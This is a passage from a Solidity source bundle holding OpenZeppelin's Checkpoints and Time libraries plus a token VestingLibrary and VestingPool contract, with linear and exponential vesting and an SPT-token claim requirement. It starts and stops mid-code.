new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint224[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint224 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace208 {\n Checkpoint208[] _checkpoints;\n }\n\n struct Checkpoint208 {\n uint48 _key;\n uint208 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace208 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint48).max` key set will disable the\n * library.\n */\n function push(Trace208 storage self, uint48 key, uint208 value) internal returns (uint208, uint208) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace208 storage self) internal view returns (uint208) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace208 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace208 storage self, uint32 pos) internal view returns (Checkpoint208 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint208[] storage self, uint48 key, uint208 value) private returns (uint208, uint208) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint208 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint208[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint208 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint96).max` key set will disable the\n * library.\n */\n function push(Trace160 storage self, uint96 key, uint160 value) internal returns (uint160, uint160) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace160 storage self) internal view returns (bool exists, uint96 _key, uint160 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace160 storage self, uint32 pos) internal view returns (Checkpoint160 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint160[] storage self, uint96 key, uint160 value) private returns (uint160, uint160) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint160 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint160[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint160 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/types/Time.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/types/Time.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\nimport {SafeCast} from \"../math/SafeCast.sol\";\n\n/**\n * @dev This library provides helpers for manipulating time-related objects.\n *\n * It uses the following types:\n * - `uint48` for timepoints\n * - `uint32` for durations\n *\n * While the library doesn't provide specific types for timepoints and duration, it does provide:\n * - a `Delay` type to represent duration that can be programmed to change value automatically at a given point\n * - additional helper functions\n */\nlibrary Time {\n using Time for *;\n\n /**\n * @dev Get the block timestamp as a Timepoint.\n */\n function timestamp() internal view returns (uint48) {\n return SafeCast.toUint48(block.timestamp);\n }\n\n /**\n * @dev Get the block number as a Timepoint.\n */\n function blockNumber() internal view returns (uint48) {\n return SafeCast.toUint48(block.number);\n }\n\n // ==================================================== Delay =====================================================\n /**\n * @dev A `Delay` is a uint32 duration that can be programmed to change value automatically at a given point in the\n * future. The \"effect\" timepoint describes when the transitions happens from the \"old\" value to the \"new\" value.\n * This allows updating the delay applied to some operation while keeping some guarantees.\n *\n * In particular, the {update} function guarantees that if the delay is reduced, the old delay still applies for\n * some time. For example if the delay is currently 7 days to do an upgrade, the admin should not be able to set\n * the delay to 0 and upgrade immediately. If the admin wants to reduce the delay, the old delay (7 days) should\n * still apply for some time.\n *\n *\n * The `Delay` type is 112 bits long, and packs the following:\n *\n * ```\n * | [uint48]: effect date (timepoint)\n * | | [uint32]: value before (duration)\n * ↓ ↓ ↓ [uint32]: value after (duration)\n * 0xAAAAAAAAAAAABBBBBBBBCCCCCCCC\n * ```\n *\n * NOTE: The {get} and {withUpdate} functions operate using timestamps. Block number based delays are not currently\n * supported.\n */\n type Delay is uint112;\n\n /**\n * @dev Wrap a duration into a Delay to add the one-step \"update in the future\" feature\n */\n function toDelay(uint32 duration) internal pure returns (Delay) {\n return Delay.wrap(duration);\n }\n\n /**\n * @dev Get the value at a given timepoint plus the pending value and effect timepoint if there is a scheduled\n * change after this timepoint. If the effect timepoint is 0, then the pending value should not be considered.\n */\n function _getFullAt(Delay self, uint48 timepoint) private pure returns (uint32, uint32, uint48) {\n (uint32 valueBefore, uint32 valueAfter, uint48 effect) = self.unpack();\n return effect <= timepoint ? (valueAfter, 0, 0) : (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev Get the current value plus the pending value and effect timepoint if there is a scheduled change. If the\n * effect timepoint is 0, then the pending value should not be considered.\n */\n function getFull(Delay self) internal view returns (uint32, uint32, uint48) {\n return _getFullAt(self, timestamp());\n }\n\n /**\n * @dev Get the current value.\n */\n function get(Delay self) internal view returns (uint32) {\n (uint32 delay, , ) = self.getFull();\n return delay;\n }\n\n /**\n * @dev Update a Delay object so that it takes a new duration after a timepoint that is automatically computed to\n * enforce the old delay at the moment of the update. Returns the updated Delay object and the timestamp when the\n * new delay becomes effective.\n */\n function withUpdate(\n Delay self,\n uint32 newValue,\n uint32 minSetback\n ) internal view returns (Delay updatedDelay, uint48 effect) {\n uint32 value = self.get();\n uint32 setback = uint32(Math.max(minSetback, value > newValue ? value - newValue : 0));\n effect = timestamp() + setback;\n return (pack(value, newValue, effect), effect);\n }\n\n /**\n * @dev Split a delay into its components: valueBefore, valueAfter and effect (transition timepoint).\n */\n function unpack(Delay self) internal pure returns (uint32 valueBefore, uint32 valueAfter, uint48 effect) {\n uint112 raw = Delay.unwrap(self);\n\n valueAfter = uint32(raw);\n valueBefore = uint32(raw >> 32);\n effect = uint48(raw >> 64);\n\n return (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev pack the components into a Delay object.\n */\n function pack(uint32 valueBefore, uint32 valueAfter, uint48 effect) internal pure returns (Delay) {\n return Delay.wrap((uint112(effect) << 64) | (uint112(valueBefore) << 32) | uint112(valueAfter));\n }\n}\n"
},
"contracts/libraries/VestingLibrary.sol": {
"content": "/// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nlibrary VestingLibrary {\n bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH =\n keccak256(\"EIP712Domain(string name,string version)\");\n\n bytes32 private constant VESTING_TYPEHASH =\n keccak256(\n \"Vesting(address owner,uint8 curveType,bool managed,uint16 durationWeeks,uint64 startDate,uint128 amount,uint128 initialUnlock,bool requiresSPT)\"\n );\n\n // Sane limits based on: https://eips.ethereum.org/EIPS/eip-1985\n // amountClaimed should always be equal to or less than amount\n // pausingDate should always be equal to or greater than startDate\n struct Vesting {\n // First storage slot\n uint128 initialUnlock; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint8 curveType; // 1 byte -> Max 256 different curve types\n bool managed; // 1 byte\n uint16 durationWeeks; // 2 bytes -> Max 65536 weeks ~ 1260 years\n uint64 startDate; // 8 bytes -> Works until year 292278994, but not before 1970\n // Second storage slot\n uint128 amount; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint128 amountClaimed; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n // Third storage slot\n uint64 pausingDate; // 8 bytes -> Works until year 292278994, but not before 1970\n bool cancelled; // 1 byte\n bool requiresSPT; // 1 byte\n }\n\n /// @notice Calculate the id for a vesting based on its parameters.\n /// @param owner The owner for which the vesting was created\n /// @param curveType Type of the curve that is used for the vesting\n /// @param managed Indicator if the vesting is managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting started (can be in the future)\n /// @param amount Amount of tokens that are vested in atoms\n /// @param initialUnlock Amount of tokens that are unlocked immediately in atoms\n /// @return vestingId Id of a vesting based on its parameters\n function vestingHash(\n address owner,\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) external pure returns (bytes32 vestingId) {\n bytes32 domainSeparator = keccak256(\n abi.encode(DOMAIN_SEPARATOR_TYPEHASH, \"VestingLibrary\", \"1.0\")\n );\n bytes32 vestingDataHash = keccak256(\n abi.encode(\n VESTING_TYPEHASH,\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n )\n );\n vestingId = keccak256(\n abi.encodePacked(\n bytes1(0x19),\n bytes1(0x01),\n domainSeparator,\n vestingDataHash\n )\n );\n }\n}\n"
},
"contracts/VestingPool.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nimport { ERC20Votes } from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\nimport { VestingLibrary } from \"./libraries/VestingLibrary.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title Vesting contract for single account\n/// Original contract - https://github.com/safe-global/safe-token/blob/main/contracts/VestingPool.sol\n/// @author Daniel Dimitrov - @compojoom, Fred Lührs - @fredo\ncontract VestingPool {\n event AddedVesting(bytes32 indexed id);\n event ClaimedVesting(bytes32 indexed id, address indexed beneficiary);\n event PausedVesting(bytes32 indexed id);\n event UnpausedVesting(bytes32 indexed id);\n event CancelledVesting(bytes32 indexed id);\n\n bool public initialised;\n address public owner;\n\n address public token;\n address public immutable sptToken;\n address public poolManager;\n\n uint256 public totalTokensInVesting;\n mapping(bytes32 => VestingLibrary.Vesting) public vestings;\n\n modifier onlyPoolManager() {\n require(\n msg.sender == poolManager,\n \"Can only be called by pool manager\"\n );\n _;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Can only be claimed by vesting owner\");\n _;\n }\n\n // solhint-disable-next-line no-empty-blocks\n constructor(address _sptToken) {\n sptToken = _sptToken;\n // don't do anything else here to allow usage of proxy contracts.\n }\n\n /// @notice Initialize the vesting pool\n /// @dev This can only be called once\n /// @param _token The token that should be used for the vesting\n /// @param _poolManager The manager of this vesting pool (e.g. the address that can call `addVesting`)\n /// @param _owner The owner of this vesting pool (e.g. the address that can call `delegateTokens`)\n function initialize(\n address _token,\n address _poolManager,\n address _owner\n ) public {\n require(!initialised, \"The contract has already been initialised.\");\n require(_token != address(0), \"Invalid token account\");\n require(_poolManager != address(0), \"Invalid pool manager account\");\n require(_owner != address(0), \"Invalid account\");\n\n initialised = true;\n\n token = _token;\n poolManager = _poolManager;\n\n owner = _owner;\n }\n\n function delegateTokens(address delegatee) external onlyOwner {\n ERC20Votes(token).delegate(delegatee);\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev This can only be called by the pool manager\n /// @dev It is required that the pool has enough tokens available\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param initialUnlock Amount of tokens that should be unlocked immediately\n /// @return vestingId The id of the created vesting\n function addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) public virtual onlyPoolManager returns (bytes32) {\n return\n _addVesting(\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n }\n\n /// @notice Calculate the amount of tokens available for new vestings.\n /// @dev This value changes when more tokens are deposited to this contract\n /// @return Amount of tokens that can be used for new vestings.\n function tokensAvailableForVesting() public view virtual returns (uint256) {\n return\n ERC20Votes(token).balanceOf(address(this)) - totalTokensInVesting;\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev It is required that the pool has enough tokens available\n /// @dev Account cannot be zero address\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param vestingId The id of the created vesting\n function _addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) internal returns (bytes32 vestingId) {\n require(curveType < 2, \"Invalid vesting curve\");\n vestingId = VestingLibrary.vestingHash(\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n require(vestings[vestingId].amount == 0, \"Vesting id already used\");\n // Check that enough tokens are available for the new vesting\n uint256 availableTokens = tokensAvailableForVesting();\n require(availableTokens >= amount, \"Not enough tokens available\");\n // Mark tokens for this vesting in use\n totalTokensInVesting += amount;\n vestings[vestingId] = VestingLibrary.Vesting({\n curveType: curveType,\n managed: managed,\n durationWeeks: durationWeeks,\n startDate: startDate,\n amount: amount,\n amountClaimed: 0,\n pausingDate: 0,\n cancelled: false,\n initialUnlock: initialUnlock,\n requiresSPT: requiresSPT\n });\n emit AddedVesting(vestingId);\n }\n\n /// @notice Claim `tokensToClaim` tokens from vesting `vestingId` and transfer them to the `beneficiary`.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will trigger a transfer of tokens\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n function claimVestedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) public {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n\n uint128 tokensClaimed = updateClaimedTokens(\n vestingId,\n beneficiary,\n tokensToClaim\n );\n\n if(vesting.requiresSPT) {\n require(\n IERC20(sptToken).transferFrom(msg.sender, address(this), tokensClaimed),\n \"SPT transfer failed\"\n );\n }\n\n require(\n ERC20Votes(token).transfer(beneficiary, tokensClaimed),\n \"Token transfer failed\"\n );\n }\n\n /// @notice Update `amountClaimed` on vesting `vestingId` by `tokensToClaim` tokens.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will only update the internal state and NOT trigger the transfer of tokens.\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n /// @param tokensClaimed Amount of tokens that have been newly claimed by calling this method\n function updateClaimedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) internal onlyOwner returns (uint128 tokensClaimed) {\n require(beneficiary != address(0), \"Cannot claim to 0-address\");\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n // Calculate how many tokens can be claimed\n uint128 availableClaim = _calculateVestedAmount(vesting) -\n vesting.amountClaimed;\n // If max uint128 is used, claim all available tokens.\n tokensClaimed = tokensToClaim == type(uint128).max\n ? availableClaim\n : tokensToClaim;\n require(\n tokensClaimed <= availableClaim,\n \"Trying to claim too many tokens\"\n );\n // Adjust how many tokens are locked in vesting\n totalTokensInVesting -= tokensClaimed;\n vesting.amountClaimed += tokensClaimed;\n emit ClaimedVesting(vestingId, beneficiary);\n }\n\n /// @notice Cancel vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be cancelled\n /// @param vestingId Id of the vesting that should be cancelled\n function cancelVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be cancelled\");\n require(!vesting.cancelled, \"Vesting already cancelled\");\n bool isFutureVesting = block.timestamp <= vesting.startDate;\n // If vesting is not already paused it will be paused\n // Pausing date should not be reset else tokens of the initial pause can be claimed\n if (vesting.pausingDate == 0) {\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = isFutureVesting\n ? vesting.startDate\n : uint64(block.timestamp);\n }\n // Vesting is cancelled, therefore tokens that are not vested yet, will be added back to the pool\n uint128 unusedToken = isFutureVesting\n ? vesting.amount\n : vesting.amount - _calculateVestedAmount(vesting);\n totalTokensInVesting -= unusedToken;\n // Vesting is set to cancelled and therefore disallows unpausing\n vesting.cancelled = true;\n emit CancelledVesting(vestingId);\n }\n\n /// @notice Pause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be paused\n /// @param vestingId Id of the vesting that should be paused\n function pauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be paused\");\n require(vesting.pausingDate == 0, \"Vesting already paused\");\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = block.timestamp <= vesting.startDate\n ? vesting.startDate\n : uint64(block.timestamp);\n emit PausedVesting(vestingId);\n }\n\n /// @notice Unpause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only vestings that have not been cancelled can be unpaused\n /// @param vestingId Id of the vesting that should be unpaused\n function unpauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.pausingDate != 0, \"Vesting is not paused\");\n require(\n !vesting.cancelled,\n \"Vesting has been cancelled and cannot be unpaused\"\n );\n // Calculate the time the vesting was paused\n // If vesting has not started yet, then pausing date might be in the future\n uint64 timePaused = block.timestamp <= vesting.pausingDate\n ? 0\n : uint64(block.timestamp) - vesting.pausingDate;\n // Offset the start date to create the effect of pausing\n vesting.startDate = vesting.startDate + timePaused;\n vesting.pausingDate = 0;\n emit UnpausedVesting(vestingId);\n }\n\n /// @notice Calculate vested and claimed token amounts for vesting `vestingId`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vestingId Id of the vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n /// @return claimedAmount The amount in atoms of tokens claimed\n function calculateVestedAmount(\n bytes32 vestingId\n ) external view returns (uint128 vestedAmount, uint128 claimedAmount) {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n vestedAmount = _calculateVestedAmount(vesting);\n claimedAmount = vesting.amountClaimed;\n }\n\n /// @notice Calculate vested token amount for vesting `vesting`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vesting The vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n function _calculateVestedAmount(\n VestingLibrary.Vesting storage vesting\n ) internal view returns (uint128 vestedAmount) {\n require(vesting.startDate <= block.timestamp, \"Vesting not active yet\");\n // Convert vesting duration to seconds\n uint64 durationSeconds = uint64(vesting.durationWeeks) *\n 7 *\n 24 *\n 60 *\n 60;\n // If contract is paused use the pausing date to calculate amount\n uint64 vestedSeconds = vesting.pausingDate > 0\n ? vesting.pausingDate - vesting.startDate\n : uint64(block.timestamp) - vesting.startDate;\n if (vestedSeconds >= durationSeconds) {\n // If vesting time is longer than duration everything has been vested\n vestedAmount = vesting.amount;\n } else if (vesting.curveType == 0) {\n // Linear vesting\n vestedAmount =\n calculateLinear(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else if (vesting.curveType == 1) {\n // Exponential vesting\n vestedAmount =\n calculateExponential(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else {\n // This is unreachable because it is not possible to add a vesting with an invalid curve type\n revert(\"Invalid curve type\");\n }\n }\n\n /// @notice Calculate vested token amount on a linear curve.\n /// @dev Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on a linear curve\n function calculateLinear(\n uint128 targetAmount,\n uint64 